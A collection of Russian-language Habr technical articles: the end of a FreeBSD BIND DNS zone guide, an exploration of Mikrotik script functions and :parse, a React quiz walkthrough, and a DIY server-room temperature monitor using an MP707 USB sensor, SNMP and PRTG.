@ IN SOA ns1.test.dom. hostmaster.test.dom. (
2009082801 ; Serial
3600 ; Refresh
600 ; Retry
2419200 ; Expire
86400 ) ; Minimum
IN NS ns1.test.dom.
IN NS ns2.test.dom.
@ IN A 10.10.10.1
ns1 IN A 10.10.10.1
ns2 IN A 10.10.10.2`
3.5. Зона **«10.10.10.in-addr.arpa»**. Конфигурационный файл **/etc/namedb/master/10.10.10.in-addr.arpa** приводим к следующему виду:
`$TTL 3600
@ IN SOA ns1.test.dom. hostmaster.test.dom. (
2009082801 ; Serial
3600 ; Refresh
600 ; Retry
2419200 ; Expire
86400 ) ; Minimum
IN NS ns1.test.dom.
IN NS ns2.test.dom.
1 IN PTR ns1.test.dom.
2 IN PTR ns2.test.dom.`
Где, например, для зоны test.dom сверху вниз:
— Время, указывающее длительность в секундах, сколько запись должна быть сохранена в кеше.
— @ — имя зоны — заменяющий символ, IN – класс записи INTERNET — значение по умолчанию, SOA – описание глобальных переменных зоны, ns1.test.dom. — имя DNS сервера для этой зоны, hostmaster.test.dom. — почтовый адрес администратора DNS сервера для этой зоны. Вместо знака @, в качестве разделителя используется знак «.»
— Серийный номер изменения записи. Для перечитывания зоны вторичным сервером, при каждом изменении, необходимо последнюю цифру увеличивать на 1
— Время через которое вторичный DNS сервер попытается перечитать зону
— Время через, которое вторичный сервер будет пытаться перечитать зону если ему не удалось связаться с первичным DNS сервером в период указанный в Refresh
— Указывает через какое время данные зоны больше не авторитетны для этого сервера. Используется вторичными серверами.
— Устаревший атрибут, указывающий на время жизни сохранения данных зоны в кеше.
— Указание DNS основного DNS сервера для данной зоны
— Указание вторичного DNS сервера для данной зоны
— Описание узлов в данной зоне
4. Управляем DNS сервером при помощи следующих команд:
`freebsd# /etc/rc.d/named start | stop | restart | status`
**Дополнительно:**
Наиболее часто используемые типы записей в DNS:
A – запись на IP адрес узла в сети
NS — запись на DNS сервер
CNAME – запись на каноническое имя для узла
PTR – запись указатель на доменное имя, используется в обратных зонах
MX — запись для определения маршрутизации почты
Для проверки работоспособности можно использовать такие средства как **dig** или **nslookup**
Пример использования dig:
`freebsd# dig @localhost test.dom ANY`
Команда означает — вывести записи типа ANY в зоне test.dom, используя сервер localhost
`; <<>> DiG 9.4.3-P2 <<>> @localhost test.dom ANY
; (2 servers found)
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 35560
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 10, AUTHORITY: 0, ADDITIONAL: 2
;; QUESTION SECTION:
;test.dom. IN ANY
;; ANSWER SECTION:
test.dom. 3600 IN A 10.10.10.1
test.dom. 3600 IN SOA ns1.test.dom. hostmaster.test.dom. 2009082801 3600 600 2419200 86400
test.dom. 3600 IN NS ns1.test.dom.
test.dom. 3600 IN NS ns2.test.dom.
;; ADDITIONAL SECTION:
ns1.test.dom. 3600 IN A 10.10.10.1
ns2.test.dom. 54886 IN A 10.10.10.2
;; Query time: 1 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Sun Aug 30 23:04:41 2009
;; MSG SIZE rcvd: 330`
Пример использования nslookup:
`freebsd# nslookup
> test.dom
Server: 127.0.0.1
Address: 127.0.0.1#53
Name: test.dom
Address: 10.10.10.1
>`
На мой взгляд использование dig для диагностики более гибко, хотя те кто знает полностью как использовать nslookup, скажут то же самое про него. Также рекомендую замечательное пособие по настройке [DNS](http://www.zytrax.com/books/dns/). | https://habr.com/ru/post/68350/ | null | ru | null |
# Особенности функций Mikrotik script. Сode из :parse
Исследование функций и скриптов в Mikrotik script. Рассматриваются разные способы создания и вызова функций и скриптов с передачей в них параметров. Оператор :parse и особый тип данных code.
1. Что такое функция в Mikrotik script?
---------------------------------------
Если почитать Manual:Scripting (<https://wiki.mikrotik.com/wiki/Manual:Scripting#Functions>), видно, что на данный момент функции можно создавать двумя способами: через команду :parse и упрощенным способом через конструкцию do={...}. Сначала рассмотрим второй способ. Объяснение буду давать на примерах.
### Определение функций через конструкцию do={...}
Функцию можно определить, например, следующим образом:
```
[admin@MikroTik] > :global Fun1 do={ :return "result $0 $1 $var1 $2 $var2" }
```
Тут используются безымянные позиционные аргументы $0, $1, $2, и именованные аргументы $var1, $var2. Оператор :return возвращает результат вычисления. В данном примере это строка.
Пример классического вызова функции (через переменную $Fun1):
```
[admin@MikroTik] > :put [$Fun1 1 var2=22 "3" var1="4"]
result $Fun1 1 4 3 22
```
Оператор :put отображает возвращаемую функцией строку. Видно, что аргумент $0 просто указывает на имя самой же переменной, хранящей код функции. Таким образом первый передаваемый в функцию позиционный аргумент в данном случае $1
Не забываем, что перед вызовом глобальной функции в скрипте нужно ее определить и объявить. Если глобальная функция уже была определена ранее (есть в /environment), то ее достаточно только объявить (без определения) перед первым вызовом в скрипте. Удобнее это делать в начале скрипта.
```
:global Fun1
:put [$Fun1 1 var2=22 "3" var1="4"]
```
Посмотрим, что внутри функции, а точнее переменной, содержащей код функции.
```
[admin@MikroTik] > :put $Fun1
;(evl (evl /returnvalue=(. result $0 $1 $var1 $2 $var2)))
```
Внутри переменной $Fun1 массив, элементы которого имеют следующие типы:
```
[admin@MikroTik] > :put [:typeof $Fun1]
array
[admin@MikroTik] > :put [:typeof ($Fun1->0)]
nil
[admin@MikroTik] > :put [:typeof ($Fun1->1)]
code
```
Первый элемент нам не интересен, т.к. он не содержит ничего. А вот второй элемент уже представляет больший интерес, это тот самый код функции (тип данных code), который представляет собой распарсенный блок do={...} из определения функции. Почему Mikrotik поместил код функции в массив, да еще во второй элемент - загадка. Но вы можете вызвать код функции через этот второй элемент. Вообще можно выполнять напрямую все, что имеет тип данных code.
Давайте "выполним" второй элемент массива. Также добавим еще одно значение позиционного аргумента "5"):
```
[admin@MikroTik] /environment> :put [($Fun1->1) 1 var2=22 "3" var1="4" 5]
result 1 3 4 5 22
```
Вот чудо, $0 теперь не ссылается на имя переменной функции, а является первым передаваемым позиционным аргументом!
Давайте еще раз посмотрим code:
```
[admin@MikroTik] /environment> :put ($Fun1->1)
(evl (evl /returnvalue=(. result $0 $1 $var1 $2 $var2)))
```
Как я уже писал, это распарсенный код из определения функции. Хочу отметить, что переменные (аргументы) тут входят в состав выражения динамически. Т.е. подстановка значений будет происходить во время вызова функции.
Идем дальше. Добавим в функцию вызов какой-нибудь команды API, например, запросим версию прошивки роутера:
```
[admin@MikroTik] > :global Fun2 do={ :return "result $1 $var1 $[/system/resource/get version ]" }
[admin@MikroTik] > :put [$Fun2 aaa var1=bbb]
result aaa bbb 7.1rc5 (testing)
```
Посмотрим содержимое функции:
```
[admin@MikroTik] > :put $Fun2
;(evl (evl /returnvalue=(. result $1 $var1 (evl (evl /system/resource/getvalue-name=version)))))
```
Видно, что /system/resource/get также выполняется динамически во время вызова функции (Fun2), т.е. вычисление выполняется при вызове, но не во время определения функции. Для большинства задач это правильное поведение, не возникает неоднозначности. Все всегда вычисляется при выполнении, будь то вызовы API роутера или передача аргументов внутрь функции. Но версия прошивки точно не меняется между вызовами скриптовых функций и логичнее (и быстрее) было бы вычислить это выражение еще на этапе парсинга, добавив результат в качестве константы в содержимое функции (code).
Если вы хотите более тонкой оптимизации, добро пожаловать в функции на базе оператора :parse.
### Определение функций через оператор :parse
Пример объявления-определения и вызова:
```
[admin@MikroTik] > :global FunX [:parse ":return 123"]
[admin@MikroTik] > :put [$FunX]
123
```
Посмотрим, что внутри такой функции, а точнее, что содержит переменная $FunX:
```
[admin@MikroTik] > :put $FunX; :put [:typeof $FunX]
(evl /returnvalue=123)
code
```
Оператор :parse преобразует строку (с кодом) в тот самый тип данных code, упомянутый ранее. Похоже на определение функции при помощи блока do={...}, но более сложное. Добавляется еще один уровень абстракции. Ведь теперь код функции изначально должен быть представлен в виде строки - аргумента оператора :parse. Зато такой способ при его должном понимании несет дополнительные возможности. Парсинг выполняется явно, под нашим контролем, с помощью управления экранированием символов. Давайте перепишем функцию Fun1 на этот лад.
```
:global FunA [:parse " :return \"result \$0 \$1 \$var1 \$2 \$var2\" "]
[admin@MikroTik] > :put [$FunA 1 var2=22 "3" var1="4"]
result $FunA 1 4 3 22
```
Содержимое $FunA:
```
[admin@MikroTik] > :put $FunA; :put [:typeof $FunA]
(evl /returnvalue=(. result $0 $1 $var1 $2 $var2))
code
```
Очень похоже на code функции Fun1, все то же динамическое вычисление результата при каждом вызове функции. В строке-коде " :return \"result \$0 \$1 \$var1 \$2 \$var2\" " заэкранированы все переменный и внутренние кавычки.
А что будет, если мы не будем экранировать переменные?
Объявим такую функцию:
```
:global FunB [:parse " :return \"result $0 $1 $var1 $2 $var2\" "]
```
Результат вызова и содержимое:
```
[admin@MikroTik] > :put [$FunB 1 var2=22 "3" var1="4"]
result
[admin@MikroTik] > :put $FunB
(evl /returnvalue=result )
```
Получилась какая-то ерунда. Действительно, оператор :parse пытается подставить все переменные ($0, $var1 и т.д.) на этапе парсинга строки-кода, но они еще не определены на этапе определения функции FunB! Поэтому эти переменные должны быть объявлены и определены заранее, например:
```
[admin@MikroTik] > {
:local 0 "zero"
:local 1 "one"
:local 2 "two"
:local var1 111
:local var2 222
:global FunB [:parse " :return \"result $0 $1 $var1 $2 $var2\" "]
:put [$FunB]
}
result zero one 111 two 222
```
Или так:
```
[admin@MikroTik] > :local 0 "zero"; :local 1 "one"; :local 2 "two"; :local var1 111; :local var2 222; :global FunB [:parse " :return \"result $0 $1 $var1 $2 $var2\" "]; :put [$FunB]
result zero one 111 two 222
```
А что внутри $FunB:
```
[admin@MikroTik] > :put $FunB
(evl /returnvalue=result zero one 111 two 222)
```
Видно, что подстановка параметров произошла на этапе определения функции, и в code нет динамической подстановки, только строка с уже произведенными заменами.
А ведь можно еще так:
```
:global FunC [:local 0 "zero"; :local 1 "one"; :local 2 "two"; :local var1 111; :local var2 222; :parse " :return \"result $0 $1 $var1 $2 $var2\" "]; :put [$FunC]
result zero one 111 two 222
```
Повторюсь, что неэкранированные переменные подставляются в code на этапе выполнения оператора парсинга :parse, а экранированные переменные становятся аргументам конечной функции.
Осталось переписать под :parse Fun2 (там, где запрашивается версия прошивки роутера):
```
[admin@MikroTik] > :global FunD [:parse " :return \"result \$1 \$var1 \$[/system/resource/get version]\" "]
[admin@MikroTik] > :put [$FunD aaa var1=bbb]
result aaa bbb 7.1rc5 (testing)
[admin@MikroTik] > :put $FunD
(evl /returnvalue=(. result $1 $var1 (evl (evl /system/resource/getvalue-name=version))))
```
Эта функция аналогична Fun2.
Теперь уберем экранирование [/system/resource/get version], т.е. заставим вычисляться это выражение на этапе определения функции:
```
[admin@MikroTik] > :global FunE [:parse " :return \"result \$1 \$var1 $[/system/resource/get version]\" "]
[admin@MikroTik] > :put [$FunE aaa var1=bbb]
result aaa bbb 7.1rc5 (testing)
[admin@MikroTik] > :put $FunE
(evl /returnvalue=(. result $1 $var1 7.1rc5 (testing)))
```
Видите, code стал компактнее и с уже подставленной версией прошивки?
2. Если функция - это тип данных code + переменная, то всегда ли нужна переменная?
----------------------------------------------------------------------------------
Еще один интересный момент, которые следует из анализа определения функции с оператором :parse. Посмотрим на объявление $FunE, по сути это просто объявление переменной $FunE c присвоением ей результата парсинга:
```
[:parse " :return \"result \$1 \$var1 $[/system/resource/get version]\" "]
```
Таким образом можно делать вызовы без объявления переменной:
```
[admin@MikroTik] > :put [[:parse " :return \"result \$1 \$var1 $[/system/resource/get version]\" "] aaa var1=bbb]
result bbb 7.1rc5 (testing)
```
Тут используется вложенные операторы вызова [...].
Но куда же пропал аргумент $1? При таком вызове первый позиционный аргумент будет $0, ведь больше нет имени переменой-функции.
```
[admin@MikroTik] > :put [[:parse " :return \"result \$0 \$1 \$var1 $[/system/resource/get version]\" "] aaa var1=bbb ccc]
result aaa ccc bbb 7.1rc5 (testing)
```
3. Можно ли при вызове скриптов передавать параметры внутрь?
------------------------------------------------------------
Если поискать информацию по этой теме, то общий ответ будет можно, но только с использованием глобальных переменных. Но нельзя запускать скрипт (как функцию) с передачей параметров напрямую при вызове.
Но есть обходной способ, который опирается на технику, описанную выше. Создадим скрипт со следующим содержимым и назовем его scriptA:
```
# --- scriptA ---
:put "test $0"
:put "test $1"
:put $var1
:return "result $0 $1 $var1 $[/system/resource/get version ]"
# ---------------
```
Можно запросить командой API содержимое скрипта, распарсить и вызвать его по аналогии с функцией с передачей параметров внутрь. Также можно использовать локальную переменную для хранения code скрипта.
```
[admin@MikroTik] > :local script [:parse [/system/script/get scriptA source]]; :put $script
(evl /putmessage=(. test $0));(evl /putmessage=(. test $1));(evl /putmessage=$var1);(evl /returnvalue=(. result $0 $1 $var1 (evl (evl
/system/resource/getvalue-name=version))))
[admin@MikroTik] > :local script [:parse [/system/script/get scriptA source]]; :put [$script aaa bbb var1=ccc]
test $script
test aaa
ccc
result $script aaa ccc 7.1rc5 (testing)
```
Или вообще сделать вызов без использования промежуточной переменной для хранения code:
```
[admin@MikroTik] > :put [[:parse [/system/script/get scriptA source]] aaa bbb var1=ccc]
test aaa
test bbb
ccc
result aaa bbb ccc 7.1rc5 (testing)
```
В scriptA, кстати, присутсвует оператор :return. В результате вызова скрипта действительно возращается значение-строка, скрипт в таком вызове работает как функция.
Резюмируя написанное, можно сказать, что функция в Mikrotik script это распарсенный код, присвоенный обычной локальной или глобальной переменной. А точнее тип данных code, который получается в результате явной или неявной (конструкция do={...}) работы оператора :parse. :parse в свою очередь может либо сразу подменять/вычислять переменные или выражения, начинающиеся на $, либо, если использовалось экранирование \$, сохранять переменные в code. И есть оператор вызова [...], который умеет выполнять этот code.
4. Про оператор :return
-----------------------
Оператор :return служит для возвращения из функций результатов вычислений. Он обладает одной полезной особенностью: после него выполнение функции сразу завершается. Его можно использовать для создания альтернативы вложенных if-else конструкций. Известно, что в Mikrotik script нет оператора switch и нет elseif альтернатив оператора if. Получаются очень громоздкие конструкции ветвлений, типа:
```
:if () do={
...
} else={
:if () do={
...
} else={
:if () do={
...
} else={
...
}
}
}
```
Если описать функцию-селектор с :return в каждом if, то можно получить компактную и понятную конструкцию:
```
:global selector do={
:if ($1 = "A") do={
...
:return a
}
:if ($1 ="B") do={
...
:return b
}
:if ($1 = "C") do={
...
:return c
}
}
``` | https://habr.com/ru/post/650795/ | null | ru | null |
# Разбор конкурса-квиза по React со стенда HeadHunter на HolyJs 2018
Привет. 24–25 сентября в Москве прошла конференция фронтенд-разработчиков HolyJs <https://holyjs-moscow.ru/>. Мы на конференцию пришли со своим стендом, на котором проводили quiz. Был основной квиз — 4 отборочных тура и 1 финальный, на котором были разыграны Apple Watch и конструкторы лего. И отдельно мы провели квиз на знание react.
Под катом — разбор задач квиза по react. Правильные варианты будут спрятаны под спойлером, поэтому вы можете не только почитать разбор, но и проверить себя :)
Поехали!
Для удобства мы сгруппировали вопросы по секциям:
### Секция 1. Базовое понимание работы this.setState и updating lifecycle компонента:
**Вопрос 1.**
```
Выберите наиболее полный список способов обновить react-компонент:
1) SetProps, SetState, ForceUpdate
2) ForceUpdate, SetState
3) ForceUpdate, SetState, Parent (re)render
4) ForceUpdate, SetState, directly call UpdateComponent
```
**Ответ**3) ForceUpdate, SetState, Parent (re)render
**Вопрос 2.**
```
Что произойдет, если вызвать this.setState({}) в react
1) Компонент пометится грязным, вызовется updating lifecycle
2) Ничего не произойдет, компонент не обновится
3) React упадет с ошибкой "Object cannot be empty"
4) Все поля в state будут заресечены
```
**Ответ**1) Компонент пометится грязным, вызовется updating lifecycle
**Разбор вопросов 1 и 2**Для ответа на вопрос разберем 2 части:
1) Собственный запрос компонента на updating цикл
2) Запрос снаружи компонента
У самого компонента есть 2 способа обновить самого себя:
1) this.setState и this.forceUpdate. В этом случае компонент будет помечен грязным и на тик Reconcilliation, если он будет в приоритете на рендеринг, запустится updating цикл.
Интересный факт: `this.setState({})` и `this.forceUpdate` отличаются. При вызове `this.setState({})` вызывается полный updating цикл, в отличие от `this.forceUpdate`, когда updating цикл запускается без shouldComponentUpdate метода. Пример работы `this.setState({})` можно посмотреть здесь: <https://codesandbox.io/s/m5jz2701l9> (если заменить в примере setState на forceUpdate, можно посмотреть, как изменится поведение компонентов).
2) Когда родитель компонента ререндерится, он возвращает часть vDOM, все children, которые должны будут обновиться, — и у них также будет вызван полный updating lifecycle. Полного пересчета поддерева можно избежать, описав shouldComponentUpdate или определив компонент как PureComponent.
**Вопрос 3**
```
Чем отличается Component от PureComponent (PC)
1) Component не поддерживает наследование, в отличие от Pure
2) PC реализует SCU, проводит shallowEqual props и state
3) PC используют только для компонентов, которые зависят от store
4) В PC необходимо определять функцию shouldComponentUpdate
```
**Ответ и разбор**2) PC реализует SCU, проводит shallowEqual props и state
Как мы обсудили ранее, при (ре)рендеринге родителя все поддерево будет отправлено на updating lifeCycle. Представьте, что у вас обновился корневой элемент. В этом случае по цепному эффекту у вас должно будет обновиться практически все react-дерево. Чтобы оптимизировать и не отправлять лишнее на updating, в react есть метод `shouldComponentUpdate`, который позволяет вернуть true, если компонент должен обновиться, и false в ином случае. Для упрощения сравнения в react, можно унаследоваться от `PureComponent`, чтобы получить сразу готовый `shouldComponentUpdate`, который сравнит по ссылке (если речь идет об object types) или по значению (если речь про value types) все props и state, которые приходят в компонент.
**Вопрос 4.**
```
this.setState(() => {}, () => {}) — зачем нужно передавать вторую функцию в setState?
1) set принимает набор объектов. Они смержатся перед updating
2) Вторая функция будет вызвана после обновление state
3) setState принимает только 1 аргумент
```
**Ответ и разбор**2) Вторая функция будет вызвана после обновление state
В React-lifecycle есть два метода: `componentDidMount` для mounting цикла и componentDidUpdate для updating, где можно добавить какую-то логику после обновления компонента. Например, сделать http-запрос, внести какие-то стилевые изменения, получить метрики html-элементов и (по условию) сделать setState. Если же вы хотите сделать какое-то действие после изменения определенных полей в state, то в методе `componentDidUpdate` придется писать либо сравнение:
```
componentDidUpdate(prevProp, prevState) {
if (prevState.foo !== this.state.foo) {
// do awesome things here
}
}
```
Либо вы можете сделать это по setState:
```
setState(
// set new foo
{foo: 'baz'},
() => {
// do awesome things here
}
);
```
У каждого подхода есть плюсы и минусы (например, если вы изменяете setState в нескольких местах, может оказаться удобнее написать один раз условие).
**Вопрос 5.**
```
Сколько раз будет выведено в консоль render:
class A extends React.PureComponent {
render() {
console.log('render');
return
}
}
function Test() {
return console.log('foo')} />
}
const rootElement = document.getElementById("root");
ReactDOM.render(, rootElement);
setTimeout(() => ReactDOM.render(, rootElement));
1) 1
2) 2
3) 3
4) 0
```
**Ответ**2) 2
**Вопрос 6.**
```
Сколько раз будет выведено в консоль render:
class A extends React.PureComponent {
render() {
console.log('render');
return
}
}
function Test() {
return
}
const rootElement = document.getElementById("root");
ReactDOM.render(, rootElement);
setTimeout(() => ReactDOM.render(, rootElement));
1) 1
2) 2
3) 3
4) 0
```
**Ответ**1) 1
**Вопрос 7.**
```
Сколько раз будет выведено в консоль render:
class A extends React.PureComponent {
componentDidMount() {
console.log('render');
}
render() {
return
}
}
const rootElement = document.getElementById("root");
ReactDOM.render(, rootElement);
setTimeout(() => ReactDOM.render(, rootElement));
1) 1
2) 2
3) 3
4) 0
```
**Ответ**1) 1
**Разбор вопросов 5-7**Вопросы 5–7 Нужны для одного и того же — проверить понимание работы `PureComponent` и обновления компонентов при передаче props. Если внутри метода render мы передаем в виде jsx колбек, описывая это прямо в функции render:
```
render () {
return {}} />;
}
```
То каждый render родителя будет обновлять данный хендлер клика. Это происходит, потому что при каждом рендере создается новая функция с уникальной ссылкой, которая при сравнении в PureComponent выдаст, что новые props не равны старым и нужно обновить компонент. В случае же, когда все проверки проходят и shouldComponentUpdate возвращает false, обновления не происходит.
### Секция 2. Keys in React
Подробный разбор работы keys мы публиковали здесь: <https://habr.com/company/hh/blog/352150/>
**Вопрос 1.**
```
Для чего может потребоваться key, если работа происходит не с массивом?
1) Удалить предыдущий инстанс и замаунтить новый при смене key
2) Дополнительный способ вызвать updating lifecycle
3) Причин использовать key нет
4) Для форсирования механизма reconciliation
```
**Ответ и разбор**1) Удалить предыдущий инстанс и замаунтить новый при смене key
Без использования key react будет сравнивать список элементов попарно сверху вниз. Если мы используем key, сравнение будет происходить по соответствующим key. Если появился новый key — то такой компонент не будет сравниваться ни с кем и сразу будет создан с нуля.
Этим способом можно пользоваться, даже если у нас есть 1 элемент: мы можем задать , в следующем рендере укажем и в таком случае react удалит и создаст с нуля .
**Вопрос 2.**
```
Имеет ли сам компонент доступ к this.prop.key?
1) Да
2) Нет
3) Необходимо определить static getKey
```
**Ответ и разбор**2) Нет
Компонент может узнать key у своих children, которые были переданы ему в качестве prop, но не может узнать о своем key.
**Вопрос 3.**
```
Сколько раз будет выведено в консоль render:
class A extends React.PureComponent {
componentDidMount() {
console.log('render');
}
render() {
return
}
}
const rootElement = document.getElementById("root");
ReactDOM.render(, rootElement);
setTimeout(() => ReactDOM.render(, rootElement));
1) 1
2) 2
3) 3
4) 0
```
**Ответ и разбор**2) 2
При изменении key компонент будет пересоздан, поэтому render будет выведен дважды.
### Секция 3. Вопросы по jsx
**Вопрос 1.**
```
Выберите подходящий ответ. Дочерний компонент может уведомить своего родителя об изменениях с помощью
1) Колбека в виде prop / context
2) Выноса слоя модели и работы через нее
3) Определения setParentProps
4) Через static getParentRef
```
**Ответ и разбор**1) Колбека в виде prop / context
2) Выноса слоя модели и работы через нее
Здесь есть два правильных ответа. Выбор любого из них на квизе засчитает вам баллы. Данный вопрос на знания data-flow react. Данные сверху вниз распространяются в виде props или context, в них может быть callback, который компонент ниже может вызывать, чтобы повлиять на состояние системы.
Другой способ, сочетающий вынос модели, context и prop, — это, например, react-redux биндинг.
Эта библиотека берет вынесенную из react модель (redux). Сетит redux.store в Provider, который на самом деле сетит store в context. Затем разработчик использует HOC connect, который идет в контекст, подписывается на изменения store (store.subscribe) и при изменении store пересчитывает `mapStateToProps` функцию. Если данные изменились, сетит их в props в оборачиваемый объект.
В то же время connect позволяет указать `mapDispatchToProps`, где разработчик указывает те actionCreators, которые необходимо передать в компонент. Их, в свою очередь, мы получаем извне (без контекста), биндим `actionCreators` на store (оборачиваем их в store.dispatch) и передаем в качестве props оборачиваемому компоненту.
**Вопрос 2.**
```
В какие props можно передавать jsx? Выберите наиболее подходящий ответ
1) В любые
2) Только в children
```
**Ответ и разбор**1) В любые
Передавать можно в любые. Например:
```
}>Внимание
```
Нарисует кнопку с иконкой. Такой подход очень удобно использовать, чтобы оставлять за компонентом право управлять расположением различных элементов относительно друг друга, а не перебирать один children prop.
### Секция 4. Продвинутое понимание setState
Здесь 3 сильно связанных вопроса:
**Вопрос 1.**
```
this.state = {a: 'a'};
...
this.setState({a: 'b'});
this.setState({a: this.state.a + 1})
this.state?
1) {a: 'a1'}
2) {a: 'b1'}
3) Недостаточно данных
4) {a: 'a'}
```
**Ответ**3) Недостаточно данных
**Вопрос 2.**
```
this.state={a: 'a'}
...
this.setState({a: 'b'})
this.setState(state => ({a: state.a + 1}))
this.state?
1) {a: 'a1'}
2) {a: 'b1'}
3) Недостаточно данных
4) {a: 'ab1'}
```
**Ответ**2) {a: 'b1'}
**Вопрос 3.**
```
При вызове подряд 2 setState внутри componentDidUpdate сколько updating lifecycle будет вызвано
1) 1
2) 2
3) 3
4) Недостаточно данных
```
**Ответ**1) 1
**Разбор вопросов 1–3**Вся работа setState полностью описана здесь:
1) <https://reactjs.org/docs/react-component.html#setstate>
2) <https://stackoverflow.com/questions/48563650/does-react-keep-the-order-for-state-updates/48610973#48610973>
Дело в том, что setState не происходит синхронно.
И в случае, если есть несколько вызовов setState подряд, то в зависимости от того, находимся ли мы внутри react-lifecycle метода, функции-обработчика react-события (onChange, onClick) или нет, зависит исполнение setState.
Внутри react обработчиков setState работает батчево (изменения накатываются только после того, как пользовательские функции в call stack закончатся и мы попадем в функции, которые вызывали наши event handler и lifecycle методы). Они накатываются подряд друг за другом, поэтому в случае, если мы находимся внутри react-handler, мы получим:
```
this.state = {a: 'a'}; // a: 'a'
...
this.state.a // a: 'a'
this.setState({a: 'b'}); // a: 'b' + компонент не обновляется. Была зарегистрирована только необходимость в этом
this.state.a // a: 'a'
this.setState({a: this.state.a + 1}) // a: 'a1'
```
так как изменения произошли батчево.
Но в тоже время, если setState был вызван вне react-handlers:
```
this.state = {a: 'a'}; // a: 'a'
...
this.state.a // a: 'a'
this.setState({a: 'b'}); // a: 'b' + компонент ушел на ререндер
this.state.a // a: 'b'
this.setState({a: this.state.a + 1}) // a: 'b1' + компонент ушел на ререндер
```
Так как в этом случае изменения будут накатываться отдельно.
### Секция 5. Redux
**Вопрос 1.**
```
Можно ли задавать кастомные action, например () => {} ?
1) Нет. Все action должны быть объектом с полем type
2) Да, но такой action должен вернуть объект с полем type
3) Да, нужно определить кастомный middleware для такого action
4) Да, но такая функция должна принимать метод dispatch
```
**Ответ и разбор**3) Да, нужно определить кастомный middleware для такого action
Возьмем в качестве простейшего примера redux-thunk. Весь middleware — это небольшой блок кода:
<https://github.com/reduxjs/redux-thunk/blob/master/src/index.js#L2-L9>
```
return ({ dispatch, getState }) => next => action => {
if (typeof action === 'function') {
return action(dispatch, getState, extraArgument);
}
return next(action);
};
```
Как работают middleware?
Они получают управление до того, как action придет в store. Поэтому action, который был задиспачен, вначале пройдет по цепочке middleware.
Каждый middleware принимает инстанс store, метод next, который позволяет пробросить action далее, и cам action.
Если middleware обрабатывает кастомные action, как, например, redux-thunk, то он в случае, если action является функцией, не пробрасывает action далее, а "заглушает" его, вместо этого вызывая action с передачей туда метода dispatch и getState.
Что бы случилось, если redux-thunk сделал next для action, который является функцией?
Перед вызовом редьюсеров store проверяет тип action. Он должен удовлетворять следующим условиям:
1) Это должен быть объект
2) У него должно быть поле type
3) Поле type должно быть типа string
Если одно из условий не выполняется, redux выдаст ошибку.
### Бонусные вопросы:
**Бонусный вопрос 1.**
```
Что будет выведено?
class Todos extends React.Component {
getSnapshotBeforeUpdate(prevProps, prevState) {
return this.props.list.length - prevProps.list.length;
}
componentDidUpdate(a, b, c) {
console.log(c);
}
...
}
ReactDOM.render(, app);
setTimeout(() => ReactDOM.render(, app), 0);
a) 0
b) 1
c) 2
d) undefined
```
**Ответ и разбор**c) 2
`getSnapshotBeforeUpdate` — редко используемая функция в react, которая позволяет получить снепшот, который затем будет передан в componentDidUpdate. Этот метод нужен, чтобы заранее подсчитать те или иные данные, на основе которых можно затем сделать, например, fetch-запрос.
**Бонусный вопрос 2.**
```
Чему будет равно значение в инпуте через 2,5 секунды?
function Input() {
const [text, setText] = useState("World!");
useEffect(
() => {
let id = setTimeout(() => {
setText("Hello " + text);
}, 1000);
return () => {
clearTimeout(id);
};
},
[text]
);
return (
{
setText(e.target.value);
}}
/>
);
}
a) "World!"
b) "Hello World!"
c) "Hello Hello World!"
d) В коде ошибка
```
**Ответ**c) "Hello Hello World!"
Это уже вопрос на знание новых фичей в react, его не было в нашем квизе. Давайте попробуем в комментариях подробно описать работу кода из последнего вопроса :) | https://habr.com/ru/post/431492/ | null | ru | null |
# Бюджетный мониторинг температуры в Cерверной комнате (MP707+nettop c Linux+PRTG)
Свою первую статью на Хабре интересно написать по материалу, основанному на личном опыте и действиях. Для этот как раз подходит раздел DIY или Сделай сам.
Нижеописанная система уже работает больше года практически без перерыва.
#### Задача:
Собрать бюджетную (с минимальными затратами) стабильную систему для простого удаленного мониторинга температуры в Серверной комнате.
В Серверной установлены два кондиционера (сплит-системы), две 19” стойки с оборудованием (коммутационное оборудование + сервера + ИБП).
Решение собиралось из имеющихся под рукой устройств (некоторым более 10 лет уже было) и бесплатного ПО.
Список оборудования и ПО:
* цифровой USB-термометр MP707 (диапазон измеряемых температур, -55...+125);
* 10-летний неттоп с МП MSI A9830IMS, Intel Atom N270 (1 Сore\1.60 GHz), 1GB ОЗУ, 80GB HDD;
* ОС и ПО для неттопа: Linux Mint 17.1 Cinnamon 32-bit + ПО BMcontrol + служба SNMP + bash-script;
* ПО для мониторинга: PRTG Network Monitor 17.1.28.1341 x64 на 100 сенсоров (бесплатное), установлено на внешнем ПК с Windows 7.
Устанавливаем в Серверной комнате датчик температуры (красным показано место установки):
Вот датчик закреплен на стойке:
Настройка Неттопа:
— устанавливаем Linux Mint, обновляем;
— подключаем к неттопу по USB-кабелю USB-термометр MP707;
— получаем id температурного датчика с помощью [BMcontrol](http://devphp.org.ua/?menu=scripts&sub=free&sshow=5);
— проверяем работу датчика: «sudo /var/www/bmcontrol1 temp b0000002c6dded28»
— пишем простой скриптик на 10+ лет работы системы:
**Скрипт**
```
#!/bin/bash
count=0
sensor=`sudo /var/www/bmcontrol temp b0000002c6dded28`
while [ $count -lt 9000000 ]
do
(( count++ ))
echo $count
#echo $sensor
echo `sudo /var/www/bmcontrol1 temp b0000002c6dded28`
sudo /var/www/bmcontrol1 temp b0000002c6dded28 > /tmp/1.txt
sleep 60
done
```
— теперь у нас есть работающий и выдающий данные датчик, осталось передать эти данные в систему мониторинга – поднимаем службу SNMP и в конфиге snmpd.conf добавляем событие для передачи данных с датчика температуры, записанных в файл «extend .1.3.6.1.4.1.2021.51 ipmitemp /bin/cat /tmp/1.txt».
#### Настройка PRTG (это уже для данных с датчика)
(Главное, правильно интерпретировать данные с помощью регулярных выражений, путем экспериментов только получилось сделать как нужно эти настройки, внизу подсказка как они должны быть).
*БАЗОВЫЕ НАСТРОЙКИ ДАТЧИКА Имя датчика SNMP Серверная Температура
Значение OID 1.3.6.1.4.1.2021.51.3.1.1.8.105.112.109.105.116.101.109.112
РАСШИРЕННАЯ ОБРАБОТКА
Интерпретировать результат как Строка (по умолчанию)
Извлекать числовое значение с помощью регулярного выражения
Регулярное выражение ([1-2][0-9].[0-9][0-9])*
Теперь в ПО PRTG мы получаем данные по температуре из Серверной от датчика.
